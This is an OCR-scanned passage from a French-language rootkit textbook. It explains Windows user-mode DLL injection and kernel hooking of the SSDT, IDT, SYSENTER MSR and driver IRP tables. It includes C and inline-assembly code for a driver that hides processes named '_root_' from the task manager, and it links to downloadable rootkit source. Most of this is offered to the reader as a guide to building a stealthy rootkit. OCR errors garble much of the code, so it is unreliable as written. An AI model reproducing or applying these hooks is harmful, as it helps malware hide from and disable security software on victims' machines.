dans le chargeur du rootkit. Etant donne que cette adresse doit exister dans le 
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processus cible, cela ne fonctionne que si la DLL Kernel32.dll — qui exporte 
LoadLibrary - est chargee dans ce processus. Pour obtenir l’adresse de Load- Library., 
le chargeur du rootkit peut invoquer la fonction GetProcAddress de la maniere 
suivante : 

Get ProcAddress(GetModuleHandle( TEXT ( "Kernel32") ) , "Load Libra ryA") . 

Cet appel recupere l’adresse de LoadLibrary dans le processus qui effectue l’injection, 
en supposant que Kernel32. dll occupe le meme emplacement de base dans le 
processus cible (ce qui est generalement le cas, car le placement en memoire de la 
DLL a des adresses de base differentes demanderait plus de temps au systeme 
d’ exploitation, et Microsoft prefere eviter la baisse de performances qui en 
decoulerait). LoadLibrary possedant les memes format et type de retour que la 
fonction THREAD_START_ROUTlNE , son adresse peut etre utilisee comme quatrieme 
parametre pour CreateRemoteThread. 

Le cinquieme parametre est l’adresse en memoire de 1’ argument qui sera passe a 
LoadLibrary . Le chargeur du rootkit ne peut pas simplement passer une chaine ici, car 
elle se refererait a une adresse dans l’espace d’adressage du chargeur et cela n’aurait 
par consequent aucun sens pour le processus cible. Microsoft a prevu deux fonctions 
qui permettent au chargeur de contoumer cet obstacle. 

En appelant VirtualAllocEx, le chargeur peut allouer de la memoire dans le processus 
cible : 

LPVOID VirtualAllocEx( 

HANDLE hProcess, 

LPVOID lpAddress, 

SIZE_T dwSizej 

DWORD flAllocationType, 

DWORD flProtect 

); 

Pour ecrire le nom de la DLL a utiliser lors de l’appel de LoadLibrary dans le 
processus cible, WriteProcessMemory est invoquee avec l’adresse retoumee par 
VirtualAllocEx. Voici le prototype de WriteProcessMemory : 

BOOL WriteProcessMemory( 

HANDLE hProcess, 

LPVOID lpBaseAddresSj 
LPCVOID lpBuffer, 

SIZE_T nSize, 

SIZE_T* lpNumberOfBytesWritten 

); 
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Dans la presentation des hooks en mode utilisateur que nous venons de donner, vous 
avez decouvert qu’il s’agit typiquement de hooks de la table IAT ou de hooks de 
fonctions en ligne. Vous avez egalement pu voir que leur implementation demande 
d’acceder a l’espace d’adressage du processus cible et qu’un moyen d’acces courant 
consiste a injecter une DLL ou un thread dans ce processus. A present que vous 
comprenez ces concepts, nous allons pouvoir aborder les hooks de niveau noyau. 

Hooks de niveau noyau 

Comme explique precedemment, les hooks en mode utilisateur sont utiles mais sont 
aussi relativement aises a detecter et a prevenir. Leur detection est couverte en detail 
au Chapitre 10. Une alternative plus elegante est d’ installer des hooks dans la memoire 
du noyau. Un rootkit qui emploie de tels hooks est ainsi sur un pied d’egalite avec les 
logiciels de detection. 

La memoire du noyau occupe la partie superieure de la memoire virtuelle. Dans 
1’ architecture x86 d’ Intel, elle debute habitue llement a l’adresse 0x80000000 et s’etend 
au-dela. Si 1’ option de configuration de boot /3GB est utilisee - laquelle permet a un 
processus de disposer de 3 Go de memoire virtuelle -, la memoire debute alors a 
l’adresse OxCOOOOOOO. 

De maniere generate, les processus ne peuvent pas acceder a la memoire du noyau. 
Une exception cependant est lorsqu’un processus possede des privileges de debugging 
et passe par certaines API de debugging ou lorsqu’une porte d’appel (call gate ) a ete 
installee. Nous ne traiterons pas de ces exceptions ici. Pour en savoir plus sur les 
portes d’appels, voyez la documentation de L architecture Intel 1 . 

Pour notre propos, le rootkit accedera a la memoire du noyau en implementant un 
driver en mode noyau. 

Le noyau est P emplacement ideal pour installer un hook. De nombreuses raisons 
expliquent cela, mais les deux plus importantes dont il faut vous souvenir est que les 
hooks en mode noyau sont globaux (relativement parlant) et qu’ils sont plus difficiles 
a detecter car, lorsque le rootkit et le logiciel de protection/detection se 


1 . IA-32 Intel Architecture Software Developer 's Manual, Volume 3. Section 4.8. 
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trouvent tous deux dans l’anneau 0, le rootkit opere a un niveau qui lui permet 
d’echapper a ce logiciel ou de le desactiver. Pour en apprendre davantage sur les 
anneaux, reportez-vous au Chapitre 3. 

Cette section decrit les trois elements qui sont le plus communement hookes dans le 
noyau, mais ne perdez pas de vue que vous pouvez en trouver d’autres selon ce que 
votre rootkit est cense accomplir. 

Hooking de la table de descripteurs de services systeme 

Le composant Executive de Windows opere en mode noyau et offre un support natif a 
tous les sous-systemes : Win32, POSIX et OS/2. Les adresses de ces services systeme 
natifs sont listees dans une structure du noyau appelee table de distribution des 
sendees systeme, ou SSDT (System Sendee Dispatch Table) 1 2 . Cette table peut etre 
indexee par numero d’appel systeme pour localiser l’adresse en memoire de la fonction 
assurant le service demande. Une autre table, appelee table de parametres des sendees 
systeme, ou SS PT (System Sendee Parameter Table) 1 , specific la longueur en octets 
des parametres de la fonction appelee pour chaque service. 

KeServiceDescriptorTable est une table exportee par le noyau. Elle contient un pointeur 
vers la portion de la SSDT qui inclut les services systeme fondamentaux implementes 
dans Ntoskrnl.exe, lequel est un composant majeur du noyau. Elle contient aussi un 
pointeur vers la SSPT. Elle est illustree a la Figure 4.4. Les donnees de cette 
illustration correspondent a une configuration Windows 2000 Advanced Server sans 
Service Pack applique. La SSDT de cette figure comprend les adresses des fonctions 
individuelles exportees par le noyau. Chaque adresse fait quatre octets de long. 

Pour appeler une fonction specifique, le dispatcheur de services systeme, KiSys- 
temService, prend simplement le numero d’ identification de la fonction et le multiplie 
par 4 pour obtenir 1’ offset dans la SSDT. Notez que la table KeServiceDescriptorTable 
contient le nombre de services. Cette valeur est utilisee pour determiner T offset 
maximal dans la SSDT ou la SSPT. La SSPT est aussi presentee a la Figure 4.4. 
Chaque element de cette table possede une taille de un octet et indique sous forme 
hexadecimale le nombre d’ octets que sa fonction correspondante 


1. P. Dabak, S. Phadke et M. Borate, Undocumented Windows NT (New York : M&T Books, 1999), pp. 1 17- 

2. Ibid. pp. 128-9. 
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dans la SSDT revolt en parametres. Dans cet exemple, la fonction a l’adresse 
0x804AB3BF accepte 0x18 octets de parametres. 



Figure 4.4 

La table KeServiceDescriptorTable. 


II existe une autre table, appelee KeServiceDescriptorTableShadow, qui contient les 
adresses des services user et GDI implementes dans le driver de noyau win32k.sys. 
Toutes ces tables sont decrites dans l’ouvrage Undocumented Windows NT. 

Un dispatching de service systeme est declenche lorsqu’une instruction int 2E ou 
sysenter est invoquee. II s’ensuit une transition du processus vers le noyau avec un 
appel du dispatcheur de services systeme, KiSystemService. Une application peut 
l’appeler directement ou passer par le sous-systeme. Si le sous-systeme (par exemple 
Win32) est utilise, il effectue un appel dans Ntdll.dll qui provoque le chargement 
dans eax du numero d’ identification du service systeme, comprenant l’index de la 
fonction systeme demandee, et le chargement dans edx de l’adresse des parametres de 
la fonction en mode utilisateur. Le dispatcheur verifie le nombre de parametres puis 
les copie depuis la pile utilisateur dans la pile du noyau. II invoque ensuite la fonction 
stockee a l’adresse indexee dans la SSDT au moyen du numero d’ identification de 
service dans eax. Ce processus est decrit en detail a la section "Hooking de la table 
IDT", plus loin dans ce chapitre. 
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Une fois que le rootkit est charge en tant que driver, il peut modifier la SSDT pour 
pointer vers une fonction qu’il foumit a la place d’une fonction de Ntos- krnl.exe ou 
Win32k.sys. Lorsqu’une application exterieure au noyau effectue un appel dans le 
noyau, la demande est traitee par le dispatcheur et la fonction du rootkit est invoquee. 
Le rootkit peut ensuite passer a l’application toutes sortes d’ informations trompeuses 
pour se dissimuler lui-meme et les ressources qu’il emploie. 

Changer les protections memoire de la SSDT 

Comme evoque au Chapitre 3, certaines versions de Windows possedent par defaut 
des portions de leur memoire protegees contre fecriture. Ceci est devenu plus courant 
avec les demieres versions, telles que Windows XP et Windows 2003, ou la SSDT est 
en lecture seule car il est peu probable qu’un processus legitime ait besoin de la 
modifier. 

Cette protection contre fecriture constitue un probleme pour un rootkit qui fibre les 
reponses retoumees par certains appels systeme au moyen de hooks, car toute tentative 
d’ecriture dans une portion en lecture seule de la memoire, comme la SSDT, 
provoquera un ecran bleu. Au Chapitre 3, vous avez appris comment modifier le 
registre CR0 afin de contoumer la protection de la memoire et eviter cet ecran bleu. 
Cette section decrit une autre methode permettant de changer la protection memoire, 
qui s’ appuie sur des processus mieux documentes par Microsoft. 

Nous pouvons decrire une zone de memoire dans une liste de descripteurs de 
memoire, ou MDL (Memory Descriptor List). Une MDL contient fadresse de debut, 
le processus proprietaire, le nombre d’ octets et des flags, ou fanions, pour la zone de 
memoire : 

// References MDL definies dans ntddk.h 
typedef struct _MDL { struct _MDL *Next; 

CSHORT Size; 

CSHORT MdlFlags; 

struct _EPR0CESS *Process; 

PVOID MappedSystemVa; 

PVOID StartVa; 

ULONG ByteCount; 

ULONG ByteOffset ; 

} MDL, *PMDL; 
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II Flags de la MDL 

#define MD L_MAP P E D_T 0_SYST EM_VA 0X0001 

#define MDL PAGES LOCKED 0X0002 

#define MDL_SOURCE_IS_NONPAGED_POOL 0x0004 #define MDL ALLOCATED FIXED SIZE 
0X0008 

#define MDL PARTIAL 0X0010 

#define MDL PARTIAL HAS BEEN MAPPED 0X0020 
#define MDL_IO_PAGE_READ 0X0040 

#define MDL WRITE OPERATION 0X0080 

#define MDL PARENT MAPPED SYSTEM VA 0X0100 
#define MDL_LOCK_HELD 0X0200 

#define MDL_PHYSICAL_VIEW 0X0400 

#define MDL_IO_SPACE 0X0800 

#define MDL_NETWORK_HEADER 0x1000 

#define MDL MAPPING CAN FAIL 0x2000 

#define MDL_ALLOCATED_MUST_SUCCEED 0x4000 

Pour modifier ces flags, le code ci-apres commence par declarer une structure utilisee 
pour convertir la variable KeSenviceDescriptonTable exportee par le noyau Windows. 
Nous avons besoin de la base de la table de KeSenviceDescriptonTable et du nombre 
d’ entrees qu’elle comprend pour l’appel de MmCreateMdl. Ceci definit le debut et la 
taille de la zone de memoire que nous voulons decrire. Le rootkit cree ensuite la MDL 
a partir du pool de memoire non paginee. 

Le rootkit change les flags de la MDL pour pouvoir ecrire dans la zone en les 
combinant par OR au flag MD L MAP P E D_T 0_s Y ST EM VA. Ensuite, il verrouille les 
pages de la MDL en memoire en invoquant MmMapLockedPages . 

Nous pouvons maintenant commencer a hooker la SSDT. Dans l’exemple suivant, 
MappedSystemCallTable represente la meme adresse que la SSDT d’origine, mais vous 
pouvez a present y ecrire : 

// Declarations #pragma pack(l) 
typedef struct ServiceDescriptorEntry { 


unsigned int *ServiceTableBase; unsigned 
int *ServiceCounterTableBase; 
unsigned int NumberOfServices; 
unsigned char *ParamTableBase; 

} SSDT_Entry; #pragma pack() 
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_ declspec(dllimport) SSDT_Entry KeSenviceDescriptonTable; 

PMDL g_pmdlSystemCall; 

PVOID *MappedSystemCallTable; 

II Ennegistne les anclens emplacements des appels systeme 

II Mappe la memoire dans notre zone pour changer les permissions de la MDL 
g_pmdlSystemCall = MmCreateMdl(NULL J 

KeServiceDescriptorTable.ServiceTableBase, 

KeServiceDescriptorTable.Number0fServices*4); 


if ( !g_pmdlSystemCall) 

return STATUSJJNSUCCESSFUL; 
MmBuildMdlForNonPagedPool(g_pmdlSystemCall); 

// Change les flags de la MDL 

g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | 

MD L_MAP P E D_T0_SYST EM_VA ; 

MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode); 


Hooker la SSDT 

Plusieurs macros sont utiles pour hooker la SSDT. La macro SYSTEMSERVICE prcnd 
Tadresse d’une fonction exportee par Ntoskrnl.exe , une fonction Zw*, et retoume 
Tadresse de la fonction Nt* correspondante dans la SSDT. Les fonctions Nt* sont des 
fonctions privees dont les adresses sont contenues dans la SSDT. Les fonctions Zw * 
sont celles exportees par le noyau pour etre utilisees par les drivers et d’autres 
conrposants du noyau. Notez qu’il n’y a pas de correspondance biunivoque entre les 
entrees de la SSDT et les fonctions Zw* . 

La macro SYSCALL INDEX prend Tadresse d’une fonction Zw* et retoume le numero 
d’index correspondant dans la SSDT. Cette macro et la macro SYSTEM- SERVICE 1 
fonctionnent grace a P opcode au debut des fonctions Zw* . Alors que nous redigeons 
ce livre, toutes les fonctions Zw* du noyau debutent par l’opcode nrov eax, ULONG, 
ou ulong est le numero d’index de l’appel systeme dans la SSDT. En considerant le 
deuxieme octet de la fonction en tant que ULONG, ces macros recuperent le numero 
d’index de la fonction. Les macros H00K SYSCALL et UNFIOOK SYSCALL prennent 
Tadresse de la fonction Zw* qui est hookee, recuperent 


1. P. Dabak, S. Phadke et M. Borate. Undocumented Windows NT (New York : M&T Books, 1999), p. 1 19. 
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son index et remplacent l’adresse a cet index dans la SSDT par celle de la fonction 

D -look 1 . 

#define SYSTEMSERVICE(_func) \ 

KeServiceDescniptorTable.SenviceTableBase[ 

* (PULONG) ( (PUCHAR) Dune + 1 ) ] 

#define SYSCALL_INDEX(_F unction) *(PULONG)((PUCHAR)_Function+l) 

#define H00K_SYSCALL(_Function, JHook, _0rig ) \ 

_0nig = (PVOID) IntenlockedExchange( (PLONG) \ 
&MappedSystemCallTable[SYSCALL_INDEX(Dunction ) ] , (LONG) _Flook) #define 
UNH00K_SYSCALL(_Func, JHook, _0nig ) \ 

InterlockedExchange( (PLONG) \ 

&MappedSystemCallTable[SYSCALL_INDEX(_Func ) ] , (LONG) JHook) 

Ces macros vous aideront a ecrire un rootkit qui hooke la SSDT. Leur emploi est 
illustre dans la section suivante. Maintenant que vous en savez un peu plus sur le 
fonctionnement d’un tel hook, nous allons pouvoir examiner un exemple. 

Exemple : dissimuler des processus a Vaide d’un hook de la SSDT 

Le systeme d’ exploitation Windows utilise la fonction ZwQuerySystemlnformation 
pour emettre des demandes de nombreux types d’ informations differents. Taskmgn. 
exe, par exemple, emploie cette fonction pour obtenir une liste des processus qui 
s’executent sur le systeme. Le type des informations retoumees depend de la classe 
d’ informations, ou SystemlnformationClass, demandee. Pour recuperer une liste des 
processus, ce parametre est defini avec la valeur 5, comme specific dans le DDK 
(.Driver Development Kit). 

Une fois que le rootkit a remplace la fonction NtQuerySystemlnforrnation dans la 
SSDT, le hook qu’il contient peut appeler la fonction d’origine et filtrer les resultats. 

La Figure 4.5 illustre la fa^on dont les enregistrements de processus sont retoumes 
dans un tampon par NtQuenySystemlnfonrnation. 

Les informations contenues dans le tampon incluent des structures SYSTEM PROCESSES 
et leurs structures _SYSTEM_THREADS correspondantes. Un membre important de la 
structure _system_processes est unicodedstring, qui contient le nom du processus. II 
y aussi deux membres LARGE INTEGER contenant le temps utilisateur et le temps noyau 
utilises par le processus. Pour dissimuler un processus, le rootkit devrait additionner la 
duree d’ execution du processus a un autre processus de la liste, de sorte que le cumul 
de tous les temps enregistres soit egal a 100 % du temps processeur. 


I. Les macros H00K_SYSCALL, UNH00K_SYSCALL et SYSCALLJNDEX proviennent du code source de l'utilitaire 
Regmon, qui etait disponible en telechargement sur le site Sysintemals.com mais qui ne l’est plus a present. 
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Figure 4.5 

Structure du tampon SystemlnformationClass. 


Le code suivant illustre le format de ces structures dans le tampon retoume par 

ZwQuerySystemlnformation : 


struct 

{ 


SYSTEM_THREADS 


LARGEINTEGER 

KernelTime; 

LARGE_INTEGER 

UserTime; 

LARGE_INTEGER 

CreateTime; 

ULONG 

WaitTime; 

PVOID 

StantAddress; 

CLIENT_ID 

Clientls; 

KPRIORITY 

Priority; 

KPRIORITY 

BasePriority; 

ULONG 

ContextSwitchCount 

ULONG 

ThreadState; 

KWAIT_REASON 

WaitReason; 
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Struct _SYSTEM_PROC ESSES 
r 


{ 

ULONG 

NextEntryDelta; 

ULONG 

ThreadCount; 

ULONG 

Reserved[6]; 

LARGE_INTEGER 

CreateTime; 

LARGE_INTEGER 

UserTime; 

LARGE_INTEGER 

KernelTime; 

UNICODE_STRING 

ProcessName; 

KPRIORITY 

BasePriority; 

ULONG 

Processld; 

ULONG 

InheritedFromProcessId; 

ULONG 

HandleCount; 

ULONG 

Reserved2[2] ; 

VM_COUNTERS 

VmCounters; 

I0_C0UNTERS 

IoCounters; // Windows 2000 uniquement 

Struct SYSTEM THREADS 

Threads[l] ; 


La fonction NewZwQuenySystemlnf ormation suivante filtre tous les processus dont le 
nom commence par _root_. Elle additionne egalement au processus Idle la duree 
d’ execution de ces processus caches : 

/////////////////////////////////////////////////////////// 

//////////// // Fonction NewZwQuerySystemlnformation // 

// ZwQuerySystemlnformation retourne une liste chainee // de processus. 

// La fonction ci-apres l'imite., sauf qu'elle supprime de la // liste les 
processus dont le nom commence par _root_. 

NTSTATUS NewZwQuerySystemlnformation ( 

IN ULONG SystemlnformationClass, 

IN PVOID Systemlnformation., 

IN ULONG SystemlnformationLength, 

OUT PULONG ReturnLength) 

{ 

NTSTATUS ntStatus; ntStatus = 

( (ZWQUERYSYSTEMINFORMATION) (OldZwQuerySystemlnformation) ) 


(SystemlnformationClass, 
Systemlnformationj 
Systemlnf ormation Length, 
ReturnLength); 

if ( NT_SUCCESS(ntStatus) ) 

{ 

// Demande une liste de fichiers et de repertoires 
if (SystemlnformationClass == 5) 
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II Cecl est une requete pour la liste de processus. 

II Recherche les noms de processus qui debutent par 
II _root_ et les elimine de la liste, 
struct _SYSTEM_PROCESSES *curr = 

(struct _SYSTEM_PROCESSES *) Systemlnformation; 
struct _SYSTEM_PROCESSES *prev = NULL; 
while(curr) 

{ 

//DbgPrint("Current item is %x\n", curr); 

if (curr->ProcessName. Buffer != NULL) 

{ 

if(0 == memcmp(curr->ProcessName. Butter, L"_root_", 12)) 


m_UserTime.QuadPart += curr->Useriime .QuadPart; 
m_KernelTime.QuadPart += curr->KernelTime. QuadPart; 
if(prev) // Entree au milieu ou en derniere place 
{ 

if (curr->NextEntryDelta) 
prev->NextEntryDelta += 
eurr->NextEntryDelta; 

else // Derniere place, prev devient la fin 
prev->NextEntryDelta = 0; 

} 

else 

{ 

if (curr->NextEntryDelta) 

{ 

// Entree en debut de liste, 

// on l'avance. 

(char*)SystemInformation += 

curr->NextEntryDelta; 

} 

else // C'est le seul processus ! 
Systemlnformation = NULL; 


else // Ceci est 1' entree pour le processus Idle 


// Ajoute au processus Idle les temps noyau 
// et utilisateur des processus _root_*. 
curr->UserTime. QuadPart += mJJserTime. QuadPart; 
curr->KernelTime. QuadPart += m_Kerneliime. QuadPart; 
// Reinitialise les timers pour le prochain filtrage 
mJJseriime. QuadPart = m_KernelTime. QuadPart = 0; 


} 


> 


prev = curr; 

if (curr- >NextEntryDelta) ( (char*) curr+= 

curr->NextEntryDelta) ; 
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else if (SystemlnformationClass == 8) 

{ 

II Interrogation de SystemProcessorTimes 
struct _SYSTEM_PROCESSOR_TIMES * times = 

(struct _SYSTEM_PROCESSOR_TIMES *)Systemlnformation; 
times->IdleTime.QuadPart += mJJserTime.QuadPart + 

m_Kerneliime. Quad Part; 



return ntStatus; 


Rootkit.com 

Vous pouvez telecharger le code pour hooker la SSDT et dissimuler 
des processus a I'adresse 

www.rootkit.com/vault/fuzen op/HideProcessHookMDLzip . 

Avec le hook precedent en place, le rootkit dissimulera tous les processus dont le nom 
debute par _root_. Ceci n’est qu’un exemple et vous pouvez changer les noms des 
processus. II y a egalement de nombreuses autres fonctions dans la SSDT que vous 
pourriez vouloir hooker. 

Nous allons maintenant aborder un autre emplacement du noyau qu’il est possible de 
hooker. 

Hooking de la table IDT 

Comme son nom Tindique, la table de descripteurs d’ interruptions, ou IDT ( Inter - nipt 
Descriptor Table), est utilisee pour gerer les interruptions, lesquelles peuvent etre 
logicielles ou materielles. Elle specific comment traiter les interruptions, comme celles 
declenchees lorsqu’une touche est pressee, qu’une faute de page survient (entree 0x0E 
dans 1TDT) ou qu’un processus utilisateur demande T attention de la table SSDT, ce 
qui correspond a T entree 0x2E dans Windows. Cette section montre comment installer 
un hook sur le vecteur 0x2 E dans 1TDT. Ce hook sera appele avant la fonction du 
noyau dans la SSDT. 

Deux points importants doivent etre consideres en rapport avec 1’IDT. Premierement, 
chaque processeur possede sa propre IDT, ce qui pose un probleme sur les machines 
multiprocesseurs. En effet, il ne suffit pas de hooker le processeur sur lequel votre 
code s’execute, mais ce sont toutes les IDT du systeme qui doivent l’etre. Pour savoir 
comment proceder pour qu’une fonction de hooking s’execute 
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sur un processeur specifique, consultez la section sur les problemes de synchronisation 
au Chapitre 7. 

Deuxiemement, le controle de l’execution n’est pas rendu au gestionnaire de 1’IDT. 
Aussi, la technique de hooking typique qui consiste a appeler la fonction d’origine, a 
filtrer les donnees, puis a rendre le controle depuis le hook ne fonctionnera pas. Le 
hook de 1’IDT n’etant qu’une fonction de passage, il ne recuperera jamais le controle 
et ne peut done pas filtrer de donnees. Cependant, le rootkit pourrait identifier ou 
bloquer les requetes d’un programme particulier, tel qu’un systeme de prevention 
d’intrusion d’hote, ou HIPS (Host Intrusion Prevention System), ou un pare-feu 
personnel. 

Lorsqu’une application a besoin de l’assistance du systeme d’ exploitation, Ntdll. dll 
charge dans le registre eax le numero d’index de l’appel systeme dans la SSDT et 
charge dans le registre edx un pointeur vers les parametres de la pile utilisateur. Cette 
DLL emet ensuite une instruction int 2 E. Cette interruption est le signal de la 
transition depuis le mode utilisateur vers le noyau. Sachez que les versions recentes de 
Windows emploient a la place de int 2 E l’instruction sysenter, qui est decrite plus 
loin dans ce chapitre. 

L’instruction si dt est utilisee pour trouver en memoire 1’IDT de chaque processeur. 
Elle retoume l’adresse de la structure idtinfo. Etant donne que l’emplacement de 
1’IDT est reparti en une valeur word de poids faible et une de poids fort, il faut 
employer la macro make long pour recuperer la valeur DWORD correcte avec la valeur 
word de poids fort en premier : 

typedef struct { 

WORD IDTLimit; 

WORD LowIDTbase; 

WORD HilDTbase; 

} IDTINFO; 

#define MAKELONG(a, b) ( (LONG) (( (WORD) (a) ) | ( (DWORD) ( (WORD) (b) ) ) 

« 16 ) ) 

Les entrees de 1’IDT consistent chacune en une structure de 64 bits de long, presentee 
ci-apres, et sont elles aussi reparties en deux valeurs word. Chaque entree contient 
l’adresse de la fonction qui gerera une interruption particuliere. Les membres 
LowOffset et Hioff set de la structure idtentry forment l’adresse du gestionnaire de 
1’ interruption : 

#pragma pack(l) typedef struct 
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{ 

WORD LowOffset; 

WORD selector; 

BYTE unused_lo; 

unsigned char unused_hi:5; II TYPE memorise ? 
unsigned char DPL:2; 

unsigned char P : 1 ; II Le vecteur est present 

WORD HiOff set ; 

} IDTENTRY; 

#pragma pack() 

La fonction Hooklnterrupts suivante declare un pointeur global de type DWORD qui 
stockera le vrai gestionnaire de l'interruption int 2E, KiSystemService. Elle definit 
egalement nt system service int en tant que 0x2E. II s’agit de l’index qui sera hooke 
dans 1’IDT. Le code remplacera la veritable entree dans 1’IDT par une idtentry 
contenant l’adresse du hook : 

DWORD KiRealSystemServiceISR_Ptr; // Le veritable gestionnaire de INT 2E 
#def ine NT_SYSTEM_SERVICE_INT 0x2e int Hooklnterrupts () 

{ 

IDTINFO idt_info; 

IDTENTRY* idt_entries; 

IDTENTRY* int2e_entry; 

asm{ 

sidt idt_info; 

} 

idt_entries = 

( IDTENTRY* ) MAKE LONG (idt_info . LowIDTbase, idt_info . HilDTbase) ; 

KiRealSystemServiceISR_Ptr = // Enregistre la veritable adresse 

// du gestionnaire. 

MAKELONG(idt_entries [NT_SYSTEM_SERVICE_INT] . LowOffset, 
idt_entries[NT_SYSTEM_SERVICE_INT] . HiOff set); 

* Note : N'IMPORTE QUELLE interruption peut etre patchee ici. 

* II n'y a pas de limites. 

int2e_entry = &(idt_entries [NT_SYSTEM_SERVICE_INT] ) ; 

asm{ 

cli; II Masque les interruptions, 

lea eax,MyKiSystemService; II Charge dans EAX 1' adresse du 

II hook. 

mov ebx, int2e_entry; II L' adresse du gestionnaire 

II de INT 2E dans la table. 

mov [ebx], ax; II Remplace le veritable gestionnaire 

II par les 16 bits de poids faible II 
de l'adresse du hook. 


shr eax,16 
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mov [ebx+6]jax; II Remplace le veritable gestionnaire 

II par les 16 bits de poids fort II 
de l'adresse du hook. 

sti; II Reactive les interruptions. 

} 

return 0; 

} 

A present que le hook est installe dans l’lDT, le rootkit peut detecter ou empecher 
n’importe quel processus d’utiliser n’importe quel appel systeme. Souvenez-vous que 
le numero d’ appel systeme est contenu dans le registre eax. Nous pouvons recuperer un 
pointeur vers le EPROCESS courant en appelant PsGetCurrentProcess. Voici le prototype 

des premieres lignes de code qui permettent cela : 

_ declspec(naked) MyKiSystemService( ) 

{ 

asm{ 

pushad pushfd push fs mov bx,0x30 mov fs,bx push ds push 
es 

// Inserer le code de detection ou de prevention ici. 

Finish 


: pop 
es pop 
ds pop 
fs 

popfd 

popad 

jmp KiRealSystemServiceISR_Ptr; // Appelle la veritable fonction 


} 


Rootkit.com 

Le code de cet exemple peut etre telecharge a l'adresse 
www.rootkit.com/vault/fuzen op/strace Fuzen.zip . 


SYS ENTER 

Les versions recentes de Windows n’utilisent plus int 2 E et n’examinent plus non plus 
l’lDT pour demander des services dans la table d’appels systeme. Elies emploient a la 
place la methode d ’appel rapide. Dans ce cas, Ntdll.dll charge dans le registre eax le 
numero d’ appel systeme du service demande et charge dans 
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le registre edx le pointeur vers la pile courante, esp. Cette DLL emet ensuite 
Linstruction sysenter. 

L’ instruction sysenter passe le controle a l’adresse specifiee dans l’un des registres 
MSR {Model -Specific Register). Le nom de ce registre est IA32 sysenter eip. II est 
possible de le lire et d’y ecrire, mais cette instruction est privilegiee, ce qui signifie 
qu’elle doit etre executee depuis l’anneau 0. 

Voici un simple driver qui lit la valeur de ia32_sysenter_eip j la stocke dans une 
variable globale et charge dans le registre l’adresse du hook. Ce hook, MyKiFast- 
CallEntry, n’accomplit rien de particulier en dehors de se debrancher vers la fonction 
d’origine. II s’agit de la premiere etape necessaire pour hooker le flux de controle de 

SYSENTER. 


ttinclude "ntddk.h" 

ULONG d_origKiFastCallEntry; // Valeur d'origine de 

// ntoskrnl ! KiFastCallEntry . 

VOID OnUnloadf IN PDRIVER_0B1ECT DriverObject ) 

{ 

DbgPrint( "R00TKIT: OnUnload called\n‘ r ); 

} 

// Fonction de hooking 
_ declspec(naked) MyKiFastCallEntryQ 

{ 

_ asm { 

jrnp [d_origKiFastCallEntry] 

} 

I 

NTSTATUS DriverEntry(PDRIVER_0B3ECT theDriverObject, 

PUNICODE_STRING theRegistryPath) 

{ 

theDriverObject->DriverUnload = OnUnload; 

_ asm { 

mov ecx, 0x176 

rdmsr // Lit la valeur du registre IA32_SYSENTER_EIP mov 
d_origKiFastCallEntry, eax 

mov eax, MyKiFastCallEntry // Adresse de la fonction de hooking wrmsr 
// Ecrit dans le registre IA32_SYSENTER_EIP 

I 

return STATUS_SUCCESS; 

I 


Rootkit.com 

Le code pour hooker SYSENTER est disponible a I'adresse 

www.rootkit.com/vault/fuzen op/SysEnterHook.zip . 
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Hooking de la table defonctions de gestion des IRP majeurs d'un driver 
Un autre emplacement tres commode ou dissimuler du code dans le noyau est la table 
de fonctions contenue dans chaque driver. Lorsqu’un driver est installe, il initialise une 
table de pointeurs de fonction dormant les adresses des fonctions qu’il utilise pour 
traiter les differents types de paquets de requetes d’E/S, ou IRP (I/O Request Packet). 
Les IRP supportent plusieurs types de demandes, telles que des lectures, des ecritures 
et des requetes. Etant donne que les drivers operent a un niveau tres bas dans le flux de 
controle, ils represented un emplacement ideal a hooker. 

Voici une liste standard des types d’IRP definis par le DDK : 


// Definit les 

codes de fonctions majeures 

pour les IRP 

#def ine 

IRP 

Ml 

CREATE 

0X00 

#def ine 

IRP 

Ml 

CREATE NAMED PIPE 

0X01 

#def ine 

IRP 

Ml 

CLOSE 

0X02 

#def ine 

IRP 

Ml 

RE AD 

0X03 

#def ine 

IRP 

Ml 

WRITE 

0x04 

#def ine 

IRP 

Ml 

QUERY INFORMATION 

0x05 

#def ine 

IRP 

Mj 

SET INFORMATION 

0x06 

#def ine 

IRP 

Ml 

QUERY EA 

0x07 

#def ine 

IRP 

Mj 

SET EA 

0x08 

#def ine 

IRP 

Ml 

FLUSH BUFFERS 

0x09 

#def ine 

IRP 

Ml 

QUERY VOLUME INFORMATION 

0x0a 

#def ine 

IRP" 

'ra'SET VOLUME INFORMATION 

0x0b 

#def ine 

IRP" 

"Ml DIRECTORY CONTROL 

0x0c 

#def ine 

IRP 

Ml 

FILE SYSTEM CONTROL 

0x0d 

#def ine 

IRP" 

"ra 

'DEVICE CONTROL 

0x0e 

#def ine 

IRP 

Ml 

INTERNAL DEVICE CONTROL 

0X0f 

#def ine 

IRP 

Ml 

SHUTDOWN 

0x10 

#def ine 

IRP 

Ml 

LOCK CONTROL 

0x11 

#def ine 

IRP 

Ml 

CLEANUP 

0x12 

#def ine 

IRP 

Ml 

CREATE MAILS LOT 

0x13 

#def ine 

IRP 

Ml 

QUERY SECURITY 

0x14 

#def ine 

IRP 

Ml 

SET SECURITY 

0x15 

#def ine 

IRP 

Ml 

POWER 

0x16 

#def ine 

IRP 

Ml 

SYSTEM CONTROL 

0x17 

#def ine 

IRP 

Ml 

DEVICE CHANGE 

0x18 

#def ine 

IRP 

Ml 

QUERY QUOTA 
'SET QUOTA 

0x19 

#def ine 

IRP" 

’ra 

0x1 a 

#def ine 

IRP" 

Ml 

PNP 

0x1 b 

#def ine 

IRP" 

Ml 

PNP POWER 

IRP Ml PNP // Obsolete 

#def ine 

IRP" 

'ra' MAXIMUM FUNCTION 

0x1 b 


Les IRP et le driver cible dependent de ce que le rootkit est suppose accomplir. Par 
exemple, vous pourriez hooker les fonctions relatives aux ecritures dans le systeme de 
fichiers ou aux requetes TCP. Toutefois, cette approche de hooking presente un 
probleme. Comme dans le cas de PIDT, les fonctions qui gerent les IRP majeurs ne 
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sont pas complies pour appeler la fonction d’origine puis filtrer les resultats. Elies ne 
sont pas censees recuperer le controle de la part du driver situe plus bas dans la pile 
d’appels. La Figure 4.6 illustre comment un objet peripherique conduit a l’objet driver 
dans lequel la table de fonctions irp_m:_* est stockee. 



Figure 4.6 

Hooking de la table de fonctions de gestion des IRP d'un driver. 


L’exemple suivant montre comment dissimuler des ports reseau vis-a-vis de 
